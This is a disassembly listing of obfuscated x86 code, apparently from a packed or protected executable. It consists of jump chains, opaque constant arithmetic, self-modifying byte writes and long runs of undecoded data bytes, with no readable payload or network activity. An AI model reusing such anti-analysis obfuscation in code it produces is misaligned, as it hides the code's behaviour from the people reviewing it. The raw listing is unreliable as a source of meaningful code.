loc_43C484:				; CODE XREF: _5qvhby1c:0043BDC0j
		jmp	near ptr dword_43AF88+5Eh
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43C48A:				; CODE XREF: sub_43A382+10BEj
		jmp	loc_43C801
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		jnz	loc_43CFE7
		or	ebp, edx
		jmp	loc_43D8D4
; ---------------------------------------------------------------------------
		dd 0C300C600h, 0A2706858h, 0AFE90043h, 0FFFFFEh
		db 0
; ---------------------------------------------------------------------------


loc_43C4AD:				; CODE XREF: _5qvhby1c:0043DA00j
		xchg	esi, [esp]
		mov	ecx, offset loc_43C608
		jmp	near ptr dword_43AF54+4
; ---------------------------------------------------------------------------
		align 4
		cmp	ecx, 335340F1h
		jmp	loc_43BA53
; ---------------------------------------------------------------------------
		align 4
		db 0, 89h, 6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D51D


loc_43C4CB:				; CODE XREF: sub_43D51D:loc_43C56Dj
					; sub_43D51D-103Cj
		call	near ptr dword_43B210+0Dh
		adc	ebx, edx
		adc	esi, 0C60AC9F2h
		xor	edx, 19733E6Ah


loc_43C4DE:				; DATA XREF: _5qvhby1c:0043B4A9o
		rcl	ch, 0E8h
		jnp	short near ptr loc_43C4CB+4
; END OF FUNCTION CHUNK	FOR sub_43D51D
; ---------------------------------------------------------------------------
		db 0FFh
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]
		retn
; ---------------------------------------------------------------------------
		align 4


loc_43C4E8:				; CODE XREF: _5qvhby1c:0043BEF0j
		jmp	loc_43BA60
; ---------------------------------------------------------------------------
		align 2

locret_43C4EE:				; CODE XREF: _5qvhby1c:0043B1FAj
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_43C4F0:				; CODE XREF: _5qvhby1c:0043DA74j
		jmp	locret_43CB32
; ---------------------------------------------------------------------------
		align 2
		jmp	loc_43AA1F
; ---------------------------------------------------------------------------
		align 4


loc_43C4FC:				; CODE XREF: _5qvhby1c:0043C0AEj
		jmp	near ptr byte_43ADDD+2
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43A7DE


loc_43C502:				; CODE XREF: sub_43A7DE+8j
		jmp	loc_439FF7
; END OF FUNCTION CHUNK	FOR sub_43A7DE
; ---------------------------------------------------------------------------
		align 4
		dd 0A6C18100h, 0E9F3251Eh, 0FE4h
; ---------------------------------------------------------------------------


loc_43C514:				; CODE XREF: _5qvhby1c:0043C42Fj
		pop	ebp
		popf
		mov	al, [eax]
		sub	al, 99h
		push	41CC3A08h
		jmp	near ptr dword_43B4E4+16h
; ---------------------------------------------------------------------------
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================



sub_43C526	proc near		; CODE XREF: sub_43D51D-112Fp
		xchg	ebx, [esp+0]
		pop	ebx
		push	esi
		mov	esi, edi
		xchg	esi, [esp+0]
		jmp	near ptr dword_43AE90+36h
sub_43C526	endp

; ---------------------------------------------------------------------------
		align 2
word_43C536	dw 487h			; DATA XREF: sub_439E68o
		dd 240C8724h, 5359C18Bh, 43C76268h, 0E023E900h,	0FFFFh
		dd 680000C3h, 1D68CB18h, 50E18159h, 81AE5BC9h, 0AB1D83F1h
		dd 0E5C18112h, 0E9E15FF1h, 7DDh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D51D


loc_43C56D:				; CODE XREF: sub_43D51D-111Aj
		js	loc_43C4CB
; END OF FUNCTION CHUNK	FOR sub_43D51D
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43C574:				; CODE XREF: sub_43B7F1+1985j
		jmp	loc_43CB3D
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		db 2 dup(0), 1Bh
		dd 0F7338BCDh, 0E9DE8BD3h, 0FFFFFF41h
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_242. PRESS KEYPAD	"+" TO EXPAND]
		db 0C6h
		dd 685AFF02h, 0E3E85C9Ah, 0E25BE958h, 0C581FFFFh, 0AB9085Eh
		dd 8B241487h, 29E95ACAh, 68FFFFDDh, 0EA3F6E41h,	0D96E9h
		dd 0D5810000h, 4C1C41ADh, 0FFF336E9h
		db 0FFh, 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43C5C3:				; CODE XREF: sub_43A948+1D9Aj
		mov	eax, ebx
		pop	ebx
		push	edx
		pop	ecx
		xchg	ecx, [esp-8+arg_4]
		push	edi
		jmp	loc_43B9CA
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		db 0BAh, 0C6h, 0F2h
; ---------------------------------------------------------------------------
		sbb	[ecx+ebp*8-1E73h], edx
		add	[edi], cl
		or	byte ptr [eax+7], 0
		add	[ebx], dl
		retn	1C87h
; ---------------------------------------------------------------------------
		dw 5B24h
		dd 0F309E89Dh, 6800FFFFh, 33CA348Fh, 0FFF337E9h, 8B0000FFh
		dd 15F5E91Ah, 0
; ---------------------------------------------------------------------------


loc_43C604:				; DATA XREF: _5qvhby1c:0043DD88o
		setalc
		mov	byte ptr [eax],	5Dh


loc_43C608:				; DATA XREF: _5qvhby1c:0043C4B0o
		or	eax, [ebp-8Ch]
		mov	eax, [ebp-8Ch]
		call	sub_43B30A
		jmp	loc_43AD2C
; ---------------------------------------------------------------------------
		align 10h


loc_43C620:				; CODE XREF: _5qvhby1c:0043CBD8j
		and	eax, 401C6DEDh


loc_43C626:				; CODE XREF: _5qvhby1c:loc_43AD2Cj
		jz	loc_43B3CB
		jmp	loc_43A8AC
; ---------------------------------------------------------------------------
		align 2
		shr	ebp, 9
		jmp	loc_43CCA3
; ---------------------------------------------------------------------------
		dw 8100h
		dd 0F5DD04FFh, 0FF96E9E6h, 0DD03FFFFh, 0DD18C381h, 1B8B7560h
		dd 241C879Dh, 0FFEF41E8h, 0C6C300FFh, 4878703h,	58D88B24h
		dd 0FFD73DE9h, 8B03C6FFh, 81C5035Bh, 0B395A3C0h
		db 48h
byte_43C675	db 69h,	0, 9Dh		; DATA XREF: _5qvhby1c:0043C27Do
		dd 0E0055494h, 0FFF7E0E9h, 0DF8B53FFh, 0BF241C87h, 439E16h
		dd 0C60E9h, 0F07C600h, 0F35EE85Fh, 0FFFFh, 0FFDC01E9h
		dd 0D4E999FFh, 0FFFFE0h, 96FE800h, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43C6B0:				; CODE XREF: sub_43A948+124Dj
		jmp	loc_43DA51
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------


loc_43C6B5:				; DATA XREF: sub_43A948:loc_43A7D1o
		jmp	loc_43B0ED
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43C6BC:				; CODE XREF: sub_43A948+16FFj
		mov	eax, [eax]
		call	sub_43CCA4
		add	bl, al
		add	cl, ch		; CODE XREF: _5qvhby1c:0043CCE7j
		jge	short loc_43C6E0
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43C6CB:				; CODE XREF: _5qvhby1c:0043B6F2j
		jmp	loc_43BDB1
; ---------------------------------------------------------------------------
		dd 0FFDE0BE9h, 9D01C6FFh, 8B243C87h, 87595FCFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A948


loc_43C6E0:				; CODE XREF: sub_43A948+1D7Fj
		sbb	al, 24h
		jmp	loc_43C5C3
; END OF FUNCTION CHUNK	FOR sub_43A948
; ---------------------------------------------------------------------------
		align 4
		dd 4EE95500h, 87FFFFE5h, 80B9241Ch, 0E90043A9h,	13C2h
		dd 0FB810000h, 8AA4F771h, 0F4BE9h, 0FA7AE800h, 8500FFFFh
		dd 0E8A1E9FBh, 0F281FFFFh, 0D66076BCh, 5BFFA81h, 73E92FEDh
		dd 0FFFFF6h, 24048700h,	0E99C9D58h, 0FFFFE26Bh,	0C2F70000h
		dd 0FEBFB6D0h, 166E9h, 0EB810000h, 5E1128A4h, 8116C3C1h
		dd 32022FF3h, 12C3C185h, 0E612F381h, 9FE9033Eh,	0C3000011h
		dd 0C4BB0000h, 0E90043B4h, 0FFFFF668h, 0C30000h, 0F6CEE900h
		dd 0FFFFh, 8C89C281h, 15E99066h, 1, 8B11DEB8h, 0F1D9E945h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B845


loc_43C78F:				; CODE XREF: sub_43B845:loc_43AF82j
		push	edx
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		add	esp, 0FFFFFFE0h
		jmp	loc_43CDB2
; END OF FUNCTION CHUNK	FOR sub_43B845
; ---------------------------------------------------------------------------
		db 0E8h
		dd 0BA7h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B655


loc_43C7A5:				; CODE XREF: sub_43B655+BAj
		jmp	near ptr dword_439ECC+2Bh
; END OF FUNCTION CHUNK	FOR sub_43B655
; ---------------------------------------------------------------------------
		dw 6800h
		dd offset dword_43BDC8+50h
		dd 0FFFC5FE9h
		db 0FFh
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	43BAC3h
		jmp	loc_43D99D
; ---------------------------------------------------------------------------
		dd 850F0000h, 5FDh, 0FFFF08E9h,	8E0F00FFh, 724h, 5E6E9h
		dd 0F000000h, 0FFD98A8Bh
		db 0FFh
; ---------------------------------------------------------------------------


loc_43C7E1:				; CODE XREF: _5qvhby1c:loc_43DF28j
		sub	esi, 0FB36542Ch
		push	edi
		mov	edi, offset loc_43D9A9
		jmp	loc_43A37B
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------

locret_43C7F3:				; CODE XREF: _5qvhby1c:loc_43B023j
		retn
; ---------------------------------------------------------------------------
		dd 0FBD3E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------


loc_43C7FB:				; CODE XREF: _5qvhby1c:0043A304j
		jmp	loc_43B829
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A382


loc_43C801:				; CODE XREF: sub_43A382:loc_43C48Aj
		cmp	eax, 0E59761D0h
		jmp	loc_43C21E
; END OF FUNCTION CHUNK	FOR sub_43A382
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_43C80D	proc near		; CODE XREF: _5qvhby1c:0043D863p
		xchg	esi, [esp+0]
		pop	esi
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		mov	[ebp-8], eax
		inc	dword ptr [ebp-10h]
		push	43B071h
		jmp	near ptr byte_43B061+2
sub_43C80D	endp

; ---------------------------------------------------------------------------
		pushf
		push	offset dword_43B39C
		jmp	locret_43D383
; ---------------------------------------------------------------------------
		dd 0C4C08100h, 873F348Ch, 815F243Ch, 7A1061C3h,	0E91B8BF5h
		dd 0FFFFFFA9h, 0E9C5D100h, 0FFFFE2BBh, 1E560000h, 43AAA068h
		dd 0D603E900h, 0FFFFh, 598701C6h, 1418D68Bh, 5A515224h
		dd 0FFE748E8h, 500000FFh
; ---------------------------------------------------------------------------
		mov	eax, esi


loc_43C87A:				; CODE XREF: _5qvhby1c:loc_43A650j
		xchg	eax, [esp]
		push	0F3ECAF3Ah
		pop	esi
		and	esi, 15627D96h
		rol	esi, 7
		sub	esi, 0DC11894Ah
		jmp	near ptr dword_43A5AC+6Ch
; ---------------------------------------------------------------------------
		align 4
		dd 878902C6h, 0D08B2404h, 0DCC1E958h, 0F00FFFFh, 0FFECAF83h
		dd 241C87FFh, 8B243487h, 45FF5EDEh, 0AEFA68FCh,	66E90043h
		dd 0FFFFE1h, 0CE20BE00h, 0CF811847h, 0FEF1055Bh, 0FFE3E8E9h
		dd 0C10000FFh, 56E90FC8h, 0FFFFFFh, 0FEAF840Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43C8E6:				; CODE XREF: _5qvhby1c:loc_43DF63j
		xor	edx, 5B772ACAh
		add	edx, ebp
		add	edx, 25111440h


loc_43C8F4:				; DATA XREF: _5qvhby1c:0043D9E7o
		mov	word ptr [edx],	ss
		push	esi
		mov	esi, edi
		jmp	near ptr dword_439DF4+5Fh
; ---------------------------------------------------------------------------
		align 10h
		retn
; ---------------------------------------------------------------------------
		align 2
		dw 18E9h
		dd 0FFFFD6h
		db 0
; ---------------------------------------------------------------------------

locret_43C909:				; CODE XREF: _5qvhby1c:0043D357j
		retn
; ---------------------------------------------------------------------------
		db 0
byte_43C90B	db 0FFh			; DATA XREF: _5qvhby1c:loc_43D352o
		dd 7D83F04Dh, 8C0F00F0h, 0FFFFE971h, 1262E9h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_43C91F:				; CODE XREF: _5qvhby1c:0043B9D6j
		jg	near ptr dword_43B8F8+89h
		cdq
		js	loc_43E0C6
		sub	esi, 0F38684F0h


loc_43C932:				; CODE XREF: _5qvhby1c:loc_43B9C4j
		and	edx, 0EBF0FBF5h
		add	edx, 5628C862h
		test	edx, 80000000h
		jmp	loc_43DF63
; ---------------------------------------------------------------------------
		align 2
		dw 1487h
		dd 0F5035A24h, 0C594C681h, 368B3F2Eh, 0E8243487h, 0FFFFFA29h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DACC


loc_43C960:				; CODE XREF: sub_43DACC-30A8j
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_43DACC
; ---------------------------------------------------------------------------
		db 2 dup(0), 1Bh
; ---------------------------------------------------------------------------
		stc
		jmp	loc_43DCDE
; ---------------------------------------------------------------------------


loc_43C96E:				; CODE XREF: _5qvhby1c:loc_439E60j
		xor	ecx, 0C956D10h
		and	ecx, 0E1FD959Eh
		push	edi
		push	6438515h
		pop	edi
		rol	edi, 16h
		sub	edi, 2C78FC53h
		jmp	loc_43C29F
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
		push	edi
		push	offset dword_43BC30
		jmp	locret_43BC28
; ---------------------------------------------------------------------------
		align 2
		xchg	edi, [esp]
		pop	edi
		xchg	edx, [esp]
		mov	ebp, esp
		push	edi
		mov	edi, ebx
		xchg	edi, [esp]
		push	1D4F3026h
		jmp	loc_43BA4E
; ---------------------------------------------------------------------------
		db 85h
		dd 0FF22E9F5h, 0C300FFFFh, 68500000h, 0F231A5BCh, 26C08158h
		dd 818766CBh, 52094FC8h, 6FC081B7h, 0E9006942h,	0FFFFF275h
		dd 0DAD58100h, 873DA1C9h, 8B5E2434h, 4DE89D00h,	0E8000013h
		dd 0FFFFE1C7h, 0BE850F00h, 0FFFFEDh, 0EAF1819Ch, 0C113698Dh
		dd 0C5E90FE2h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_43CA0F:				; CODE XREF: _5qvhby1c:0043BA46j
		jnz	loc_43B388
		add	cl, ch
		adc	esi, eax
; ---------------------------------------------------------------------------
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------
		jb	loc_43CD2B
		jmp	loc_43B377
; ---------------------------------------------------------------------------
		popf
		and	edx, eax
		jmp	loc_43DD40
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_228. PRESS KEYPAD	"+" TO EXPAND]
		dd 0BECC6800h, 0FBE90043h, 0FFFFD7h, 0E5EDE781h, 487FEF3h
		dd 68525824h, 0DC1C2379h, 0FFF06DE9h, 0F88500FFh, 20BE9h
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BFFD


loc_43CA5A:				; CODE XREF: sub_43BFFD:loc_43DAE8j
		mov	byte ptr [ecx],	8Bh
		pop	ecx
		add	eax, ebp
		add	eax, 32D32F61h
		jmp	near ptr dword_43AC30+2Ch
; END OF FUNCTION CHUNK	FOR sub_43BFFD
; ---------------------------------------------------------------------------
		align 4
		dd 9C01C600h, 43DB4468h, 0F4D1E900h, 8B00FFFFh,	0E6DEE913h
		dd 0C759FFFFh, 1FC45h, 8B520000h, 241487D3h, 439DAABBh
		dd 0D7B2E900h, 6891FFFFh, 1544F70Ch, 8B243487h,	0C9815ECEh
		dd 97D03424h, 8C5CF981h, 0D8E9C2D8h, 0Ah, 598D01C6h, 8B241487h
		dd 0C18B50ECh, 7FAE9h, 0F000000h, 0FFE71289h, 0BE2987FFh
		dd 81C2EA5Dh, 0FFFD4CE9h
; ---------------------------------------------------------------------------
		inc	dword ptr [eax]


loc_43CADE:				; DATA XREF: sub_43DF7B:loc_43A03Co
		add	dh, al
		pop	es
		mov	[edi-274DBD4h],	eax
		pop	ebp
		rol	edi, 3
		add	edi, 843F7C00h
		sub	edi, 9EA01C21h
		rol	edi, 7
		jmp	loc_43D2FC
; ---------------------------------------------------------------------------
		align 10h
		dd 241C8700h, 27657168h, 0F7815FDBh, 0A2C9629Eh, 1108E9h
		dd 2B000000h, 0C3DE9C5h, 0
		dd 0E72850Fh, 0
		dd 0E9338B52h, 0FFFFD5B4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

locret_43CB32:				; CODE XREF: _5qvhby1c:loc_43C4F0j
		retn
; ---------------------------------------------------------------------------
		push	43A343h
		jmp	locret_43D7D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43CB3D:				; CODE XREF: sub_43B7F1:loc_43C574j
		jnz	loc_43CBF5
		jmp	loc_43D02A
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
dword_43CB48	dd 0FA810000h, 0BF8D5F4Eh, 0FFEA3FE9h, 81C300FFh, 0AA0113C0h
		dd 9D007D73h, 34C1E58Bh, 5EEE8B24h, 0FFF6D2E9h,	870000FFh
		dd 0C65B241Ch, 0AC590101h, 759E9h, 0E9CE2B00h, 0FFFFFDC6h
		dd 0C6A96800h, 90E90043h, 0C6FFFFE2h, 70E89C01h, 0Eh, 0EEF3E900h
		dd 0C300FFFFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B265


loc_43CBA1:				; CODE XREF: sub_43B265+14j
		jmp	loc_43C25F
; END OF FUNCTION CHUNK	FOR sub_43B265
; ---------------------------------------------------------------------------
		align 4
		shl	esi, 3
		jmp	sub_43D6F8
; ---------------------------------------------------------------------------
		dd 0E7840F00h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43CBB7:				; CODE XREF: _5qvhby1c:0043CD78j
		jmp	loc_43DE82
; ---------------------------------------------------------------------------
		dd 0CEC10000h, 0D78C0F16h, 0C1FFFFEDh, 0CFE919CDh, 0FFFFE3h
		db 0
; ---------------------------------------------------------------------------


loc_43CBD1:				; CODE XREF: _5qvhby1c:0043AD32j
		mov	ecx, 632D2B11h
		sub	edi, ebx
		jmp	loc_43C620
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_230. PRESS KEYPAD	"+" TO EXPAND]
		align 10h
		dd 0F727E900h
		db 2 dup(0FFh),	0
; ---------------------------------------------------------------------------

locret_43CBE7:				; CODE XREF: _5qvhby1c:0043AB69j
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7F1


loc_43CBEA:				; CODE XREF: sub_43B7F1+183Bj
		or	eax, esi
		jge	loc_43AD45
		mov	esi, [ebp+0]


loc_43CBF5:				; CODE XREF: sub_43B7F1:loc_43CB3Dj
		call	loc_43BCDC
; END OF FUNCTION CHUNK	FOR sub_43B7F1
; ---------------------------------------------------------------------------
		dw 0
		dd 6805CDC1h, 6B76EC8Ch, 0FFF7A3E9h, 810000FFh,	671DD6CFh
		dd 0EC29E91Ah, 0FFFFh
; ---------------------------------------------------------------------------

locret_43CC18:				; CODE XREF: _5qvhby1c:0043A520j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B265


loc_43CC19:				; CODE XREF: sub_43B265+1009j
		jmp	loc_43C127
; END OF FUNCTION CHUNK	FOR sub_43B265
; ---------------------------------------------------------------------------
		align 10h
		dd 6C0FF081h, 0C5C9E272h, 1FE6C081h, 689DD55Fh,	43A995h
		dd 0FFDE0FE9h, 0EB81C3FFh, 93ED082Fh, 2190C381h, 1C87306Eh
		dd 0DC84E924h, 0FFFFh, 0E17B3968h, 2414877Dh, 0D15AC28Bh
		dd 0DEF1E9C0h, 0FFFFh, 88E810Fh, 0E91B0000h, 5A241487h
		dd 0D2C6B951h, 40E90043h, 0FFFFF7h, 0C16B6800h,	0C15A7DF5h
		dd 0C2810CC2h, 0A42CEFB3h, 0E92414E0h, 0FFFFE382h, 0F7685252h
		dd 0E91990B7h, 0FFFFF171h
		db 2 dup(0), 0C3h
; ---------------------------------------------------------------------------


loc_43CCA3:				; CODE XREF: _5qvhby1c:0043C635j
		popf

; =============== S U B	R O U T	I N E =======================================



sub_43CCA4	proc near		; CODE XREF: sub_43A948+1D76p

; FUNCTION CHUNK AT 0043DF42 SIZE 00000005 BYTES

		push	offset byte_43BB2B
		jmp	loc_43DF42
sub_43CCA4	endp

; ---------------------------------------------------------------------------


loc_43CCAE:				; CODE XREF: _5qvhby1c:0043D2BEj
		mov	byte ptr [ecx],	3
		pop	ecx
		pop	eax
		sub	eax, 0BC1B6EFFh
		xor	eax, 0DCEBBDF9h


loc_43CCBF:				; DATA XREF: _5qvhby1c:0043D2B9o
		mov	ah, 0C5h
		jmp	loc_43D85B
; ---------------------------------------------------------------------------
		align 4
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0)
		db 0E9h	; 
		db  87h	; 
		db 0E1h	; 
		db 0FFh
		db 0FFh
		dd 0FFD9D5E9h, 9ABF57FFh, 0E90043CAh, 0E99h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CCE2:				; CODE XREF: _5qvhby1c:loc_43CD72j
					; _5qvhby1c:0043DE88j
		push	offset dword_43DE50
		jmp	near ptr loc_43C6C5+1
; ---------------------------------------------------------------------------
		pop	ecx
		rol	ecx, 1Fh
		xor	ecx, 0E142C961h
		rol	ecx, 19h
		or	ecx, 3DFDB6A4h
		add	ecx, 4245DAE7h
		jmp	loc_43D451
; ---------------------------------------------------------------------------
		dw 9C59h
		dd 0B5659668h, 0E08158C0h, 6B03AE3Eh, 8102C0C1h, 0D23E67E8h
		dd 0E919E982h, 487FFFFh
; ---------------------------------------------------------------------------
		and	al, 58h
		push	edx


loc_43CD2B:				; CODE XREF: _5qvhby1c:0043CA1Cj
		pop	ss
		push	43BBE4h
		jmp	locret_43D1E4
; ---------------------------------------------------------------------------
		dw 6800h
		dd offset dword_43BDC8+1Bh
		dd 0FFF053E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43CD41:				; CODE XREF: _5qvhby1c:0043DA7Fj
		jz	loc_43CF13
; ---------------------------------------------------------------------------
		db 0
		dd 0ED4BE900h, 0FFFFh
; ---------------------------------------------------------------------------


loc_43CD50:				; CODE XREF: _5qvhby1c:0043A08Cj
		jmp	locret_43BDA7
; ---------------------------------------------------------------------------
		db 2 dup(0), 87h
		dd 0F63FE92Fh, 0C300FFFFh, 2CDE9h, 50850F00h, 23000003h
		dd 830E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CD72:				; CODE XREF: _5qvhby1c:0043C02Dj
		jl	loc_43CCE2
		jmp	loc_43CBB7
; ---------------------------------------------------------------------------
		align 2
		dw 800Fh
		dd 0FFFFDF8Ch, 58240487h, 4C4F081h, 4870802h
		db 24h
byte_43CD91	db 6Bh,	15h, 0C0h	; DATA XREF: sub_43BEF5+Bo
		dd 0E9004300h, 0FFFFDD67h, 0EB130000h, 0FFD7F7E9h, 870000FFh
		dd 0FDC1E913h, 0FFFFh
; ---------------------------------------------------------------------------

locret_43CDB0:				; CODE XREF: _5qvhby1c:0043D22Bj
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_43B845


loc_43CDB2:				; CODE XREF: sub_43B845+F55j
		jmp	loc_43A623
; END OF FUNCTION CHUNK	FOR sub_43B845
; ---------------------------------------------------------------------------
		align 4
		jmp	loc_43D309
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFE46283h, 87C181FFh, 81C995B5h, 9EBDE6F1h,	0D31DE810h
		dd 0FFFFh, 0CD66C081h
		db 3Bh,	8Eh
		dw 468h
		dd 0EDB6E924h, 8D00FFFFh, 43A27805h, 0A2800F00h, 56FFFFD9h
		dd 0FFD436E9h, 816800FFh, 0E90043C6h, 0FFFFDEDBh, 0C22B0000h
		dd 29E9C20Bh, 0FFFFE7h,	6C31C381h, 0C3030F54h, 874E85Bh
		dd 0
		dd 63EEC081h, 0F0819754h, 11B5640Eh, 5E31C081h,	0ACE89F05h
		dd 0FFFFE8h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B8D3


loc_43CE38:				; CODE XREF: sub_43B8D3-A48j
		jmp	loc_43C41A
; END OF FUNCTION CHUNK	FOR sub_43B8D3
; ---------------------------------------------------------------------------
		align 2
		dw 1487h
		dd 7C65A24h, 0C18B5F03h, 0FFF628E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_43CE4D:				; CODE XREF: _5qvhby1c:0043BCD7j
		jnp	loc_43D0A8
		jnb	near ptr dword_43B4E4+36h
		sub	edi, ecx
		jmp	loc_43D3AE
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_43CE62:				; CODE XREF: _5qvhby1c:0043D9ECj
		mov	byte ptr [edx],	8Bh
		pop	edx
		push	edi
		push	5E684395h
		pop	edi
		jmp	loc_43D9F1
; ---------------------------------------------------------------------------
		dw 99E8h
		dd 0FFFFD4h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7FC


loc_43CE79:				; CODE XREF: sub_43B7FC:loc_43B6DDj
		mov	byte ptr [ebx],	90h
		pop	ebx
		call	sub_43E10D


loc_43CE82:				; DATA XREF: sub_43B7FC:loc_43A133o
		nop
		call	sub_43C317


loc_43CE88:				; CODE XREF: _5qvhby1c:0043DC29j
		jmp	loc_43A814
; END OF FUNCTION CHUNK	FOR sub_43B7FC
; ---------------------------------------------------------------------------
		align 2


loc_43CE8E:				; CODE XREF: _5qvhby1c:0043A8FDj
		jmp	near ptr byte_43A525+2
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFE8B7h, 89830F00h, 0C1000002h
		db 0EEh, 0Ah
; ---------------------------------------------------------------------------


loc_43CEA2:				; CODE XREF: _5qvhby1c:loc_43D88Aj
		add	eax, 0AC739EFDh
		push	eax
		push	43B118h
		jmp	near ptr dword_43A228+1
; ---------------------------------------------------------------------------
		align 4
dword_43CEB4	dd 0DB48B951h, 0AEE90043h, 0FFFFFBh; ---------------------------------------------------------------------------


loc_43CEC0:				; CODE XREF: _5qvhby1c:0043A3D4j
		jl	loc_43A211
		add	cl, al
		jecxz	short near ptr loc_43CEE3+2
		push	274AAA8Ch
		jmp	loc_43A0BC
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------


loc_43CED5:				; CODE XREF: _5qvhby1c:0043BA5Bj
		xchg	edx, [esp]
		pop	edx
		call	near ptr dword_43B028+0Bh


loc_43CEDE:				; CODE XREF: _5qvhby1c:0043B4DDj
		push	offset sub_43BB5F


loc_43CEE3:				; CODE XREF: _5qvhby1c:0043CEC8j
		jmp	locret_43C359

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43CEE8	proc near		; CODE XREF: sub_43DB36+8j
		retn
sub_43CEE8	endp

; ---------------------------------------------------------------------------
		db 0E9h, 49h, 0FEh
		dd 6C6FFFFh, 34875E87h,	5EFE8B24h, 6C81CF81h, 0C7C18D6Ch
		dd 54C78108h, 0E901D6D6h, 75Fh,	458B0F00h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_43CF13:				; CODE XREF: _5qvhby1c:loc_43CD41j
		sub	edi, 15F3D6ECh
		add	edi, 27314EACh
		rol	edi, 12h
		jmp	loc_43AA18
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
		db 0
		db  68h	; h
		db  5Eh	; ^
		db 0DCh	; 
		db 0D9h	; 
		db 0A1h	; 
		db  58h	; X
		db  81h	; 
		db 0F0h	; 
		db 0FDh	; 
		db  73h	; s
		db  61h	; a
		db  67h	; g
		db  81h	; 
		db 0C0h	; 
		db    9
		db  85h	; 
		db  0Dh
		db    6
		db  81h	; 
		db 0E8h	; 
		db    7
		db  75h	; u
		db  2Ch	; ,
		db  4Eh	; N
		db 0E9h	; 
		db  9Bh	; 
		db 0E3h	; 
		db 0FFh
		db 0FFh
		dw 0EE81h
		dd 0C979F996h, 59240C87h, 685BD38Bh, 43A683h, 0FFD415E9h
		dd 689C00FFh, 531B0FA7h, 6C7C15Fh, 3E36E781h, 0D1E93CE0h
		dd 0FFFFD2h, 0A4E92E89h, 0FFFFF0h, 0EF733668h, 9BF081BAh
		dd 305FB63h, 5DC081C5h,	8BF287B8h, 43689C00h, 59DEAAE8h
		dd 0D30E9h, 57000000h, 3C87FD8Bh, 0E9EC8B24h, 0FFFFFF3Dh
